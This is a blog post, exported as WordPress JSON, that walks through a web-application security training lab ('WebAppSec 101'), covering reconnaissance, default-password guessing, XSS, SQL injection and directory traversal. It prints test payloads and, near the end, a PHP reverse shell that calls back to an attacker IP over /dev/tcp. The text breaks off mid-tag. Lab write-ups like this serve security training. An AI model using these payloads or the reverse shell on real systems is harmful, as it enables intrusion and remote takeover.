﻿{"id":196,"date":"2020-06-09T06:23:46","date_gmt":"2020-06-08T22:23:46","guid":{"rendered":"https:\/\/byy3.com\/?p=196"},"modified":"2020-06-09T06:23:46","modified_gmt":"2020-06-08T22:23:46","slug":"webappsec-101","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=196","title":{"rendered":"WebAppSec 101"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>[Task 1] Basic Description &amp; Objectives<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>[Task 2] Walking through the application<br><\/strong>- What version of Apache is being used?<br>- What language was used to create the website?<br>- What version of this language is used?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s do the information gathering first.<br>1. Test web functionality<br>2. Home section \u2192 malicious file upload<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1205\/1*yMgcutLWPQtLpIDQbtv8VA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe\" alt=\"WebAppSec 101\u63d2\u56fe\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">3. Home section \u2014 search \u2192 SQL injection, XSS<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1276\/1*p5G-1dfzY2wCAZY38YHf-g.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe1\" alt=\"WebAppSec 101\u63d2\u56fe1\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1213\/1*GjOoSWDeznA-vC9EXXsnUw.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe2\" alt=\"WebAppSec 101\u63d2\u56fe2\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">4. Home section \u2014 create account \u2192 SQL Injection<br>I fill every text box with \u201ctest\u201d.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1213\/1*bUGjA5oc523BzBUNrgSIEQ.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe3\" alt=\"WebAppSec 101\u63d2\u56fe3\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1193\/1*Ptku30Vy8uKYCk-hAh0YQw.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe4\" alt=\"WebAppSec 101\u63d2\u56fe4\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">It seems like I logged in with user \u201ctest\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">5. Test similar name function<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1215\/1*VbzHlAg8igmy2klwjfkhrw.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe5\" alt=\"WebAppSec 101\u63d2\u56fe5\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">6. Your uploaded pics<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1199\/1*VTLIz5Tp8YDlx1bquF3lQg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe6\" alt=\"WebAppSec 101\u63d2\u56fe6\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">7. Your purchased pics<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1196\/1*wC63eHWTZzpX8y8HJ08zxA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe7\" alt=\"WebAppSec 101\u63d2\u56fe7\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">8. Back to create account section \u2014 Let\u2019s test for password strength \u2192 command injection<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1211\/1*Exw3ETxnuyLvQdKxHfAj5A.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe8\" alt=\"WebAppSec 101\u63d2\u56fe8\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1200\/1*ebyE-8jAGn7210xqRJ6dcA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe9\" alt=\"WebAppSec 101\u63d2\u56fe9\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1214\/1*TGAldmTm08HbBiFKsJr6ug.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe10\" alt=\"WebAppSec 101\u63d2\u56fe10\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">9. Check out sample user \u2192 Broken Access Control<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1196\/1*FOjOPQvNuuSNUy21Djs3xQ.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe11\" alt=\"WebAppSec 101\u63d2\u56fe11\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1456\/1*6i-Uglga-bjz09gbUXyWYQ.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe12\" alt=\"WebAppSec 101\u63d2\u56fe12\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">10. Check out what is going on today<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1196\/1*i5PT-UNns2T9Ic1ABpDYIQ.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe13\" alt=\"WebAppSec 101\u63d2\u56fe13\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Click what about tomorrow until there\u2019s is a coupon code.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1203\/1*C5GSZ5TkUm1IqtWyPqKhUA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe14\" alt=\"WebAppSec 101\u63d2\u56fe14\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1203\/1*C5GSZ5TkUm1IqtWyPqKhUA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe14\" alt=\"WebAppSec 101\u63d2\u56fe14\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">11. Check upload section<br>Login first<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1000\/1*wpzvDXDiIWuIa5gagKDwJw.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe15\" alt=\"WebAppSec 101\u63d2\u56fe15\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">It\u2019s the same page as we visited before.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1000\/1*K4ZtuRsFYNnkT1QfSf6smQ.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe16\" alt=\"WebAppSec 101\u63d2\u56fe16\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">12. Check recent section<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1000\/1*ffFraAqoFqq91vjGCB4tSg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe17\" alt=\"WebAppSec 101\u63d2\u56fe17\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">13. Check guestbook section \u2192 XSS<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1000\/1*THS3JJG4ke4gcanMuWBDiA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe18\" alt=\"WebAppSec 101\u63d2\u56fe18\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">14. Check cart section<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1000\/1*cm2npmnqJLSV0XbGjqh8gg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe19\" alt=\"WebAppSec 101\u63d2\u56fe19\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">View some picture and buy it<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1000\/1*jq7_v9tTHXw7kZT4AguV1Q.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe20\" alt=\"WebAppSec 101\u63d2\u56fe20\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1000\/1*GToc-VoiY17tlKmTSrWEKQ.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe21\" alt=\"WebAppSec 101\u63d2\u56fe21\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1000\/1*d7BS5aErWnPVtN1t0QQe2w.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe22\" alt=\"WebAppSec 101\u63d2\u56fe22\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1000\/1*mL99cH552Dfy8b9EfNT5cA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe23\" alt=\"WebAppSec 101\u63d2\u56fe23\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">15. Let\u2019s view the bottom section \u2192 Password guessing, Brute-forcing, SQL injection<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Admin<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/758\/1*PEh83kS5PC-VEop0S13IJw.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe24\" alt=\"WebAppSec 101\u63d2\u56fe24\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Contact<\/p>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">Terms of service<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1215\/1*_DkCsFWulP09rqSQtthq4Q.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe25\" alt=\"WebAppSec 101\u63d2\u56fe25\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">16. Search web paths with dirbuster<br>Results \u2014 I visited every links, but the links aren\u2019t interesting.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/973\/1*9VROqNI1PeEyslah7ZqUUg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe26\" alt=\"WebAppSec 101\u63d2\u56fe26\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">17. Search site\u2019s vulnerabilities and information.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nikto -h <a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/10.10.92.34\/\" target=\"_blank\" rel=\"noreferrer noopener\" rel=\"nofollow\" >http:\/\/10.10.92.34\/<\/a><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1751\/1*uvSTBpuKj-_SSwhT2w9sWg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe27\" alt=\"WebAppSec 101\u63d2\u56fe27\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">18. Answer the questions<br>- What version of Apache is being used?&nbsp;<strong>2.4.7<\/strong><br>- What language was used to create the website?&nbsp;<strong>PHP<\/strong><br>- What version of this language is used?&nbsp;<strong>5.5.9<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Conclusion<br><\/strong>There\u2019 re potential vulnerabilities:<br>1. Malicious file upload<br>2. SQL injection,<br>3. XSS<br>4. Command injection<br>5. Broken Access Control<br>6. Password guessing<br>7. Brute-forcing<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>[Task 3] Establishing a methodology<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>[Task 4] Authentication<br>-&nbsp;<\/strong>What is the admin username?<br>- What is the admin password?<br>- What is the name of the cookie that can be manipulated?<br>- What is the username of a logged on user?<br>- What is the corresponding password to the username?<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Let\u2019s try guessing admin username and password. There\u2019 re 4 combinations that I can think of:<br>- admin: admin<br>-admin:password<br>-root:root<br>-root:password<\/li><li>Let\u2019s login in Login Panel<br>None of the combinations worked<\/li><\/ol>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1204\/1*A3aZf45l21gQzSf0CshWPg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe28\" alt=\"WebAppSec 101\u63d2\u56fe28\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">3. Let\u2019s login in Admin Panel<br>Luckily \u201cadmin : admin\u201d worked<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/509\/1*4G-LtMU2JAndby37HwP4SA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe29\" alt=\"WebAppSec 101\u63d2\u56fe29\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Although, I clicked \u201cCreate a new user!\u201d, but nothing worked.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/793\/1*sz4Ocx_jXlnkpp4X42bK_g.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe30\" alt=\"WebAppSec 101\u63d2\u56fe30\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1566\/1*zDPeZaP0jC5r4KvUvy6bJA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe31\" alt=\"WebAppSec 101\u63d2\u56fe31\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">To answer the question<br>-What is the admin username?&nbsp;<strong>admin<\/strong><br>- What is the admin password?&nbsp;<strong>admin<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4. Let\u2019s try to find the cookie.<br>Back to home page<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1238\/1*Wy-Sy7dlTfvSjBXEv3UNGQ.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe32\" alt=\"WebAppSec 101\u63d2\u56fe32\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Inspect Element<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/359\/1*Fjhx70M10XcuRGk_YqoL-A.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe33\" alt=\"WebAppSec 101\u63d2\u56fe33\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">In console tab, type<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">alert(document.cookie)<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/751\/1*_MVuaPwDGp82JhviKAv6iA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe34\" alt=\"WebAppSec 101\u63d2\u56fe34\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">There\u2019s PHPSESSID, but it\u2019s the wrong answer.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/494\/1*xbL3G-DpD-20W2b6SrEfZg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe35\" alt=\"WebAppSec 101\u63d2\u56fe35\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s try the method again in admin panel.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1274\/1*dDBkZbeLuOH9IDHkv3UQGA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe36\" alt=\"WebAppSec 101\u63d2\u56fe36\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">To answer the question<br>-What is the name of the cookie that can be manipulated?&nbsp;<strong>session<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">5. Let\u2019s access other user data<br>Click \u201cCheck out a sample user!\u201d<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/629\/1*azr-0VcNcwCGTUrajHpFkw.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe37\" alt=\"WebAppSec 101\u63d2\u56fe37\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Try to break access control by manipulating parameter<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/821\/1*6rcKGILF1mez7_AtQUSrMA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe38\" alt=\"WebAppSec 101\u63d2\u56fe38\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">These pictures are potential users<br>-Bob<\/p>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">-scanner1<\/p>\n\n\n\n\n\n\n\n<p class=\"wp-block-paragraph\">-scanner2<\/p>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">-scanner3<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/633\/1*K7z_cp5zwVyT4HKALHGXfg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe39\" alt=\"WebAppSec 101\u63d2\u56fe39\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">-scanner4<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/659\/1*Z15IutPLaAuxD7hL0MLS-A.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe40\" alt=\"WebAppSec 101\u63d2\u56fe40\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">-scanner5<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/610\/1*5GCYzBVLjEcLNmAqxWm1GA.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe41\" alt=\"WebAppSec 101\u63d2\u56fe41\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">-wanda<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/555\/1*Acc67BNFUN8lQn5_pYhpJg.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe42\" alt=\"WebAppSec 101\u63d2\u56fe42\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">-calvinwatters<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/618\/1*uO_EXVV9DfbrWftwDa1MGQ.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe43\" alt=\"WebAppSec 101\u63d2\u56fe43\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">-bryce<\/p>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">I tried userid 12 and 13, but it\u2019s the empty page. I\u2019ll stop listing users method for now.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As a conclusion, there\u2019re 9 potential users. I\u2019ll try password guessing first by this list:<br>Bob \u2192 Bob:Bob, bob:bob<br>scanner1 \u2192 scanner1:scanner1<br>scanner2 \u2192 scanner2:scanner2<br>scanner3 \u2192 scanner3:scanner3<br>scanner4 \u2192 scanner4:scanner4<br>scanner5 \u2192 scanner5:scanner5<br>wanda \u2192 wanda:wanda<br>calvinwatters \u2192 calvinwatters:calvinwatters<br>bryce \u2192 bryce: bryce<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Luckily, I can logged in with bryce:bryce<\/p>\n\n\n\n\n\n\n\n<p class=\"wp-block-paragraph\">To answer the question<br>- What is the username of a logged on user?&nbsp;<strong>bryce<\/strong><br>- What is the corresponding password to the username?&nbsp;<strong>bryce<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>[Task 5] Cross Site Scripting (XSS)<br><\/strong>I used cheat sheet from&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/portswigger.net\/web-security\/cross-site-scripting\/cheat-sheet\" target=\"_blank\" rel=\"noreferrer noopener\" rel=\"nofollow\" >https:\/\/portswigger.net\/web-security\/cross-site-scripting\/cheat-sheet<\/a><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;iframe src=\"javascript:alert(1)\"&gt;<\/pre>\n\n\n\n<ol class=\"wp-block-list\"><li>Test for XSS on the search bar<\/li><\/ol>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">2. Test for XSS on the guestbook page<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Name: &lt;iframe src=\u201djavascript:alert(1)\u201d&gt;<br>Comment: test<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">not work<\/p>\n\n\n\n\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s try again<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Name: test<br>Comment: &lt;iframe src=\u201djavascript:alert(1)\u201d&gt;<\/pre>\n\n\n\n\n\n\n\n<p class=\"wp-block-paragraph\">3. Test for XSS behind the flash form on the home page \u2192 I skipped this due to flash player is turned off.<\/p>\n\n\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>[Task 6] Injection<br><\/strong>- Perform command injection on the check password field<br>- Check for SQLi on the application<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Perform command injection on the check password field \u2014 I skipped this due to when I perform the injection, the machine will break itself.<\/li><li>Check for SQLi on the application<br>In login page put<\/li><\/ol>\n\n\n\n<pre class=\"wp-block-preformatted\">' or 1=1--<\/pre>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">not work though<\/p>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s try in register an account<\/p>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">works!!!<\/p>\n\n\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>[Task 7] Miscellaneous &amp; Logic Flaws<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">-Find a parameter manipulation vulnerability<br>-Find a directory traversal vulnerability<br>-Find a forceful browsing vulnerability<br>-Logic flaw: try get an item for free<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Find a parameter manipulation vulnerability<br>\u2014 already done in Task 4 number 5<\/li><li>Find a directory traversal vulnerability<br>In upload a picture, I type command and upload some files.<\/li><\/ol>\n\n\n\n<pre class=\"wp-block-preformatted\">..\/etc\/passwd<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/523\/1*mBqgMPoGS-WICJC6sMTkuw.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe44\" alt=\"WebAppSec 101\u63d2\u56fe44\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now, I get the path<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/1093\/1*nlaLvNhy29ocbXztbMtK9w.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe45\" alt=\"WebAppSec 101\u63d2\u56fe45\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s type<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">http:\/\/&lt;ip&gt;\/upload\/<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/miro.medium.com\/max\/670\/1*NP4oQdxqDu_OpbA6Jn9N9g.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"WebAppSec 101\u63d2\u56fe46\" alt=\"WebAppSec 101\u63d2\u56fe46\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Try to upload reverse shell<br>Here\u2019s my php reverse shell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>exec(\"\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.8.21.124\/1234 0&gt;&amp;1'\");?&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Upload it<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" 